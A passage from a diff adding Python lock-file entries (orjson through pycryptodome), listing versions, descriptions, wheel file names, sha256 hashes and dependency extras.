(>=1.2.3,<1.3.0)"] +test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] + +[[package]] +name = "orjson" +version = "3.11.8" +description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "orjson-3.11.8-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e6693ff90018600c72fd18d3d22fa438be26076cd3c823da5f63f7bab28c11cb"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93de06bc920854552493c81f1f729fab7213b7db4b8195355db5fda02c7d1363"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fe0b8c83e0f36247fc9431ce5425a5d95f9b3a689133d494831bdbd6f0bceb13"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97d823831105c01f6c8029faf297633dbeb30271892bd430e9c24ceae3734744"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c60c0423f15abb6cf78f56dff00168a1b582f7a1c23f114036e2bfc697814d5f"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:01928d0476b216ad2201823b0a74000440360cef4fed1912d297b8d84718f277"}, + {file = "orjson-3.11.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a4a639049c44d36a6d1ae0f4a94b271605c745aee5647fa8ffaabcdc01b69a6"}, + {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3222adff1e1ff0dce93c16146b93063a7793de6c43d52309ae321234cdaf0f4d"}, + {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3223665349bbfb68da234acd9846955b1a0808cbe5520ff634bf253a4407009b"}, + {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:61c9d357a59465736022d5d9ba06687afb7611dfb581a9d2129b77a6fcf78e59"}, + {file = "orjson-3.11.8-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:58fb9b17b4472c7b1dcf1a54583629e62e23779b2331052f09a9249edf81675b"}, + {file = "orjson-3.11.8-cp310-cp310-win32.whl", hash = "sha256:b43dc2a391981d36c42fa57747a49dae793ef1d2e43898b197925b5534abd10a"}, + {file = "orjson-3.11.8-cp310-cp310-win_amd64.whl", hash = "sha256:c98121237fea2f679480765abd566f7713185897f35c9e6c2add7e3a9900eb61"}, + {file = "orjson-3.11.8-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:003646067cc48b7fcab2ae0c562491c9b5d2cbd43f1e5f16d98fd118c5522d34"}, + {file = "orjson-3.11.8-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:ed193ce51d77a3830cad399a529cd4ef029968761f43ddc549e1bc62b40d88f8"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6eda5b8b6be91d3f26efb7dc6e5e68ee805bc5617f65a328587b35255f138bf4"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8db7bfb6fe03581bbab54d7c4124a6dd6a7f4273a38f7267197890f094675f"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d8b5231de76c528a46b57010bbd83fb51e056aa0220a372fd5065e978406f1c"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:58a4a208a6fbfdb7a7327b8f201c6014f189f721fd55d047cafc4157af1bc62a"}, + {file = "orjson-3.11.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f8952d6d2505c003e8f0224ff7858d341fa4e33fef82b91c4ff0ef070f2393c"}, + {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0022bb50f90da04b009ce32c512dc1885910daa7cb10b7b0cba4505b16db82a8"}, + {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ff51f9d657d1afb6f410cb435792ce4e1fe427aab23d2fcd727a2876e21d4cb6"}, + {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6dbe9a97bdb4d8d9d5367b52a7c32549bba70b2739c58ef74a6964a6d05ae054"}, + {file = "orjson-3.11.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a5c370674ebabe16c6ccac33ff80c62bf8a6e59439f5e9d40c1f5ab8fd2215b7"}, + {file = "orjson-3.11.8-cp311-cp311-win32.whl", hash = "sha256:0e32f7154299f42ae66f13488963269e5eccb8d588a65bc839ed986919fc9fac"}, + {file = "orjson-3.11.8-cp311-cp311-win_amd64.whl", hash = "sha256:25e0c672a2e32348d2eb33057b41e754091f2835f87222e4675b796b92264f06"}, + {file = "orjson-3.11.8-cp311-cp311-win_arm64.whl", hash = "sha256:9185589c1f2a944c17e26c9925dcdbc2df061cc4a145395c57f0c51f9b5dbfcd"}, + {file = "orjson-3.11.8-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1cd0b77e77c95758f8e1100139844e99f3ccc87e71e6fc8e1c027e55807c549f"}, + {file = "orjson-3.11.8-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:6a3d159d5ffa0e3961f353c4b036540996bf8b9697ccc38261c0eac1fd3347a6"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76070a76e9c5ae661e2d9848f216980d8d533e0f8143e6ed462807b242e3c5e8"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:54153d21520a71a4c82a0dbb4523e468941d549d221dc173de0f019678cf3813"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:469ac2125611b7c5741a0b3798cd9e5786cbad6345f9f400c77212be89563bec"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14778ffd0f6896aa613951a7fbf4690229aa7a543cb2bfbe9f358e08aafa9546"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea56a955056a6d6c550cf18b3348656a9d9a4f02e2d0c02cabf3c73f1055d506"}, + {file = "orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a0f57e59a530d18a142f4d4ba6dfc708dc5fdedce45e98ff06b44930a2a48f"}, + {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9b48e274f8824567d74e2158199e269597edf00823a1b12b63d48462bbf5123e"}, + {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:3f262401086a3960586af06c054609365e98407151f5ea24a62893a40d80dbbb"}, + {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8e8c6218b614badf8e229b697865df4301afa74b791b6c9ade01d19a9953a942"}, + {file = "orjson-3.11.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:093d489fa039ddade2db541097dbb484999fcc65fc2b0ff9819141e2ab364f25"}, + {file = "orjson-3.11.8-cp312-cp312-win32.whl", hash = "sha256:e0950ed1bcb9893f4293fd5c5a7ee10934fbf82c4101c70be360db23ce24b7d2"}, + {file = "orjson-3.11.8-cp312-cp312-win_amd64.whl", hash = "sha256:3cf17c141617b88ced4536b2135c552490f07799f6ad565948ea07bef0dcb9a6"}, + {file = "orjson-3.11.8-cp312-cp312-win_arm64.whl", hash = "sha256:48854463b0572cc87dac7d981aa72ed8bf6deedc0511853dc76b8bbd5482d36d"}, + {file = "orjson-3.11.8-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3f23426851d98478c8970da5991f84784a76682213cd50eb73a1da56b95239dc"}, + {file = "orjson-3.11.8-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ebaed4cef74a045b83e23537b52ef19a367c7e3f536751e355a2a394f8648559"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:97c8f5d3b62380b70c36ffacb2a356b7c6becec86099b177f73851ba095ef623"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:436c4922968a619fb7fef1ccd4b8b3a76c13b67d607073914d675026e911a65c"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1ab359aff0436d80bfe8a23b46b5fea69f1e18aaf1760a709b4787f1318b317f"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89b6d0b3a8d81e1929d3ab3d92bbc225688bd80a770c49432543928fe09ac55"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c009e7a2ca9ad0ed1376ce20dd692146a5d9fe4310848904b6b4fee5c5c137"}, + {file = "orjson-3.11.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b895b781b3e395c067129d8551655642dfe9437273211d5404e87ac752b53"}, + {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:88006eda83858a9fdf73985ce3804e885c2befb2f506c9a3723cdeb5a2880e3e"}, + {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:55120759e61309af7fcf9e961c6f6af3dde5921cdb3ee863ef63fd9db126cae6"}, + {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98bdc6cb889d19bed01de46e67574a2eab61f5cc6b768ed50e8ac68e9d6ffab6"}, + {file = "orjson-3.11.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:708c95f925a43ab9f34625e45dcdadf09ec8a6e7b664a938f2f8d5650f6c090b"}, + {file = "orjson-3.11.8-cp313-cp313-win32.whl", hash = "sha256:01c4e5a6695dc09098f2e6468a251bc4671c50922d4d745aff1a0a33a0cf5b8d"}, + {file = "orjson-3.11.8-cp313-cp313-win_amd64.whl", hash = "sha256:c154a35dd1330707450bb4d4e7dd1f17fa6f42267a40c1e8a1daa5e13719b4b8"}, + {file = "orjson-3.11.8-cp313-cp313-win_arm64.whl", hash = "sha256:4861bde57f4d253ab041e374f44023460e60e71efaa121f3c5f0ed457c3a701e"}, + {file = "orjson-3.11.8-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:ec795530a73c269a55130498842aaa762e4a939f6ce481a7e986eeaa790e9da4"}, + {file = "orjson-3.11.8-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c492a0e011c0f9066e9ceaa896fbc5b068c54d365fea5f3444b697ee01bc8625"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:883206d55b1bd5f5679ad5e6ddd3d1a5e3cac5190482927fdb8c78fb699193b5"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5774c1fdcc98b2259800b683b19599c133baeb11d60033e2095fd9d4667b82db"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ac7381c83dd3d4a6347e6635950aa448f54e7b8406a27c7ecb4a37e9f1ae08b"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14439063aebcb92401c11afc68ee4e407258d2752e62d748b6942dad20d2a70d"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fa72e71977bff96567b0f500fc5bfd2fdf915f34052c782a4c6ebbdaa97aa858"}, + {file = "orjson-3.11.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7679bc2f01bb0d219758f1a5f87bb7c8a81c0a186824a393b366876b4948e14f"}, + {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14f7b8fcb35ef403b42fa5ecfa4ed032332a91f3dc7368fbce4184d59e1eae0d"}, + {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c2bdf7b2facc80b5e34f48a2d557727d5c5c57a8a450de122ae81fa26a81c1bc"}, + {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ccd7ba1b0605813a0715171d39ec4c314cb97a9c85893c2c5c0c3a3729df38bf"}, + {file = "orjson-3.11.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cdbc8c9c02463fef4d3c53a9ba3336d05496ec8e1f1c53326a1e4acc11f5c600"}, + {file = "orjson-3.11.8-cp314-cp314-win32.whl", hash = "sha256:0b57f67710a8cd459e4e54eb96d5f77f3624eba0c661ba19a525807e42eccade"}, + {file = "orjson-3.11.8-cp314-cp314-win_amd64.whl", hash = "sha256:735e2262363dcbe05c35e3a8869898022af78f89dde9e256924dc02e99fe69ca"}, + {file = "orjson-3.11.8-cp314-cp314-win_arm64.whl", hash = "sha256:6ccdea2c213cf9f3d9490cbd5d427693c870753df41e6cb375bd79bcbafc8817"}, + {file = "orjson-3.11.8.tar.gz", hash = "sha256:96163d9cdc5a202703e9ad1b9ae757d5f0ca62f4fa0cc93d1f27b0e180cc404e"}, +] + +[[package]] +name = "packaging" +version = "26.1" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev", "docs"] +files = [ + {file = "packaging-26.1-py3-none-any.whl", hash = "sha256:5d9c0669c6285e491e0ced2eee587eaf67b670d94a19e94e3984a481aba6802f"}, + {file = "packaging-26.1.tar.gz", hash = "sha256:f042152b681c4bfac5cae2742a55e103d27ab2ec0f3d88037136b6bfe7c9c5de"}, +] + +[[package]] +name = "paginate" +version = "0.5.7" +description = "Divides large result sets into pages for easier browsing" +optional = false +python-versions = "*" +groups = ["docs"] +files = [ + {file = "paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591"}, + {file = "paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945"}, +] + +[package.extras] +dev = ["pytest", "tox"] +lint = ["black"] + +[[package]] +name = "pathspec" +version = "1.1.0" +description = "Utility library for gitignore style pattern matching of file paths." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "pathspec-1.1.0-py3-none-any.whl", hash = "sha256:574b128f7456bd899045ccd142dd446af7e6cfd0072d63ad73fbc55fbb4aaa42"}, + {file = "pathspec-1.1.0.tar.gz", hash = "sha256:f5d7c555da02fd8dde3e4a2354b6aba817a89112fa8f333f7917a2a4834dd080"}, +] + +[package.extras] +hyperscan = ["hyperscan (>=0.7)"] +optional = ["typing-extensions (>=4)"] +re2 = ["google-re2 (>=1.1)"] + +[[package]] +name = "pexpect" +version = "4.9.0" +description = "Pexpect allows easy control of interactive console applications." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, + {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, +] + +[package.dependencies] +ptyprocess = ">=0.5" + +[[package]] +name = "pip" +version = "26.0.1" +description = "The PyPA recommended tool for installing Python packages." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b"}, + {file = "pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8"}, +] + +[[package]] +name = "platformdirs" +version = "4.9.6" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." +optional = false +python-versions = ">=3.10" +groups = ["dev", "docs"] +files = [ + {file = "platformdirs-4.9.6-py3-none-any.whl", hash = "sha256:e61adb1d5e5cb3441b4b7710bea7e4c12250ca49439228cc1021c00dcfac0917"}, + {file = "platformdirs-4.9.6.tar.gz", hash = "sha256:3bfa75b0ad0db84096ae777218481852c0ebc6c727b3168c1b9e0118e458cf0a"}, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["coverage", "pytest", "pytest-benchmark"] + +[[package]] +name = "pre-commit" +version = "4.6.0" +description = "A framework for managing and maintaining multi-language pre-commit hooks." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pre_commit-4.6.0-py2.py3-none-any.whl", hash = "sha256:e2cf246f7299edcabcf15f9b0571fdce06058527f0a06535068a86d38089f29b"}, + {file = "pre_commit-4.6.0.tar.gz", hash = "sha256:718d2208cef53fdc38206e40524a6d4d9576d103eb16f0fec11c875e7716e9d9"}, +] + +[package.dependencies] +cfgv = ">=2.0.0" +identify = ">=1.0.0" +nodeenv = ">=0.11.1" +pyyaml = ">=5.1" +virtualenv = ">=20.10.0" + +[[package]] +name = "psutil" +version = "7.2.2" +description = "Cross-platform lib for process and system monitoring." +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b"}, + {file = "psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea"}, + {file = "psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63"}, + {file = "psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312"}, + {file = "psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b"}, + {file = "psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9"}, + {file = "psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00"}, + {file = "psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9"}, + {file = "psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a"}, + {file = "psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf"}, + {file = "psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1"}, + {file = "psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841"}, + {file = "psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486"}, + {file = "psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979"}, + {file = "psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9"}, + {file = "psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e"}, + {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8"}, + {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc"}, + {file = "psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988"}, + {file = "psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee"}, + {file = "psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372"}, +] + +[package.extras] +dev = ["abi3audit", "black", "check-manifest", "colorama ; os_name == \"nt\"", "coverage", "packaging", "psleak", "pylint", "pyperf", "pypinfo", "pyreadline3 ; os_name == \"nt\"", "pytest", "pytest-cov", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "requests", "rstcheck", "ruff", "setuptools", "sphinx", "sphinx_rtd_theme", "toml-sort", "twine", "validate-pyproject[all]", "virtualenv", "vulture", "wheel", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] +test = ["psleak", "pytest", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "setuptools", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +description = "Run a subprocess in a pseudo terminal" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, + {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, +] + +[[package]] +name = "puremagic" +version = "1.30" +description = "Pure python implementation of magic file detection" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, + {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, +] + +[[package]] +name = "py-cpuinfo" +version = "9.0.0" +description = "Get CPU info with pure Python" +optional = false +python-versions = "*" +groups = ["dev"] +files = [ + {file = "py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690"}, + {file = "py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5"}, +] + +[[package]] +name = "pycparser" +version = "3.0" +description = "C parser in Python" +optional = false +python-versions = ">=3.10" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\" or implementation_name == \"pypy\"" +files = [ + {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, + {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +description = "Cryptographic library for Python" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +files = [ + {file = "pycryptodome-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a176b79c49af27d7f6c12e4b178b0824626f40a7b9fed08f712291b6d54bf566"}, + {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:573a0b3017e06f2cffd27d92ef22e46aa3be87a2d317a5abf7cc0e84e321bd75"}, + {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:63dad881b99ca653302b2c7191998dd677226222a3f2ea79999aa51ce695f720"}, + {file = "pycryptodome-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:b34e8e11d97889df57166eda1e1ddd7676da5fcd4d71a0062a760e75060514b4"}, + {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7ac1080a8da569bde76c0a104589c4f414b8ba296c0b3738cf39a466a9fb1818"}, + {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6fe8258e2039eceb74dfec66b3672552b6b7d2c235b2dfecc05d16b8921649a8"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625"}, + {file = "pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39"}, + {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27"}, + {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = 